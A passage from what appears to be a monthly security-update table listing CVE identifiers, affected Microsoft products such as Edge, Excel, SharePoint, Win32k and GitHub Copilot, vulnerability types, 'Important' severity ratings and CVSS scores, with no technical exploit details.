Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n 